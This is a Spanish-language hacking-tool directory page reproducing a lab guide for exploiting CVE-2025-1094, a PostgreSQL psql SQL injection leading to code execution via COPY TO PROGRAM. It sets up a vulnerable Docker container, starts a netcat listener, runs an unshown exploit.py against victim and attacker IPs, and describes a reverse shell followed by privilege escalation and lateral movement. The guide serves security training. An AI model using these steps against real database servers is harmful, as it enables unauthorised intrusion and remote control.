Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2025-1094-Lab-Setup — Laboratorio práctico para explotar CVE-2025-1094, una inyección SQL en PostgreSQL psql que conduce a RCE mediante COPY TO PROGRAM, con configuración de Docker y payload de reverse shell. | Kitploit
Herramientas/GitHubGitHub/pinkarmor/cve-2025-1094-lab-setup
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónAprendizaje y EducaciónLabs y Práctica
GitHubpinkarmor/cve-2025-1094-lab-setup

CVE-2025-1094-Lab-Setup

Laboratorio práctico para explotar CVE-2025-1094, una inyección SQL en PostgreSQL psql que conduce a RCE mediante COPY TO PROGRAM, con configuración de Docker y payload de reverse shell.

Ver Repositorio
hace 10 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

🛠️ Configuración del Laboratorio CVE-2025-1094

⚠️ Aviso legal
Este laboratorio es solo con fines educativos y de investigación.
NO utilice ninguna de las técnicas o información aquí demostradas en sistemas que no sean de su propiedad o para los que no tenga permiso explícito de prueba. El uso no autorizado de estos métodos puede violar leyes y conllevar sanciones graves.


📌 Resumen

CVE-2025-1094 es una vulnerabilidad crítica que afecta a la herramienta interactiva psql de PostgreSQL, descubierta en la versión 14.15 y anteriores.
Permite a los atacantes realizar inyección SQL que puede derivar en ejecución remota de código (RCE) bajo ciertas condiciones.


🧨 Causa raíz

La vulnerabilidad surge del manejo inadecuado de entradas UTF-8 malformadas en psql.
Debido a una validación insuficiente, los atacantes pueden inyectar SQL arbitrario o meta-comandos como ! (escape de shell), e incluso explotar COPY ... TO PROGRAM para ejecutar comandos del sistema.


🔥 Impacto y escenarios de ataque

  • Inyección SQL → RCE: Las cadenas UTF-8 malformadas evaden la validación y permiten la ejecución de consultas arbitrarias.
  • Abuso de COPY TO PROGRAM: Los atacantes pueden ejecutar comandos de shell arbitrarios, como:
    • Reverse shells
    • Lectura de archivos sensibles (/etc/passwd)
    • Combinación con otros CVEs para RCE completa sin autenticación
  • Riesgo de integración: El software que utiliza psql con entradas no confiables (por ejemplo, BeyondTrust PRA, Remote Support) está especialmente expuesto.

🧪 Requisitos del laboratorio

🐳 Víctima (Ubuntu)

Instalar Docker:

root@kitploit:~
sudo apt update
sudo apt install -y apt-transport-https ca-certificates curl software-properties-common
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt update
sudo apt install -y docker-ce docker-ce-cli containerd.io
sudo systemctl enable --now docker
sudo usermod -aG docker $USER

👉 Reinicie o cierre sesión e inicie sesión de nuevo para aplicar los permisos del grupo Docker.


🐍 Atacante (Kali)

Instalar Python y dependencias:

root@kitploit:~
sudo apt install -y python3 python3-pip python3-psycopg2 netcat-traditional

✅ Asegúrese de que exista conectividad de red entre las máquinas atacante y víctima.


⚙️ Paso 1 – Desplegar el contenedor PostgreSQL vulnerable (Víctima)

  1. Descargar la imagen de PostgreSQL 14.15:
root@kitploit:~
docker pull postgres:14.15
  1. Ejecutar el contenedor:
root@kitploit:~
docker run --name vulnerable_postgres   -e POSTGRES_USER=postgres123   -e POSTGRES_PASSWORD=StrongP@ssWord   -e POSTGRES_DB=labdb   -p 5432:5432   -d postgres:14.15
  1. Espere ~5s para la inicialización y luego cree una tabla de demostración:
root@kitploit:~
docker exec -i vulnerable_postgres psql -U postgres123 -d labdb <<EOF
CREATE TABLE users (
  id SERIAL PRIMARY KEY,
  username TEXT,
  password TEXT
);
INSERT INTO users (username, password) VALUES ('admin', 'password123');
EOF

✅ Paso 1.5 – Verificar el contenedor y la configuración de la base de datos

Después de iniciar el contenedor, verifique que todo funcione con los siguientes comandos:

1. Compruebe que el contenedor de PostgreSQL está en ejecución:

root@kitploit:~
sudo docker ps

📌 Debería ver un contenedor llamado vulnerable_postgres escuchando en el puerto 5432.


2. Acceda al contenedor e inspeccione la base de datos:

root@kitploit:~
sudo docker exec -it vulnerable_postgres psql -U postgres123 -d labdb

Dentro del shell de psql, ejecute:

root@kitploit:~
SELECT * FROM users;

Salida esperada:

root@kitploit:~
 id | username |  password
----+----------+-------------
  1 | admin    | password123
(1 row)

Salga de psql:

root@kitploit:~
\q

✅ Ahora su instancia vulnerable de PostgreSQL está en ejecución y lista para la explotación.


3. Vuelva a encender el contenedor

root@kitploit:~
sudo docker start vulnerable_postgres

📡 Paso 2 – Explotación desde la máquina atacante

  1. Inicie un listener en la máquina atacante para capturar el reverse shell:
root@kitploit:~
nc -lvnp 4444
  1. Ejecute el script de explotación (ajuste la IP y el puerto si es necesario):
root@kitploit:~
python3 exploit.py <Victim_IP> <Attacker_IP> <Attacker_PORT>
  1. Si tiene éxito, recibirá un reverse shell desde el contenedor PostgreSQL vulnerable 🎉
root@kitploit:~
[*] Connecting to PostgreSQL server...
[+] Connected successfully!
[*] Sending payload...
[✓] Payload executed! Check your Netcat listener for a shell.

🧰 Ejemplo de flujo de explotación

  1. Inyecte UTF-8 malformado para evadir la validación de entrada
  2. Explote COPY ... TO PROGRAM para ejecutar comandos de shell arbitrarios
  3. El reverse shell se conecta de vuelta a la máquina atacante
  4. Escale privilegios o muévase lateralmente dentro del entorno

💡 Consejo: Puede crear una instantánea de este contenedor vulnerable y reutilizarla más adelante sin tener que reconstruir el entorno.

Descargar herramienta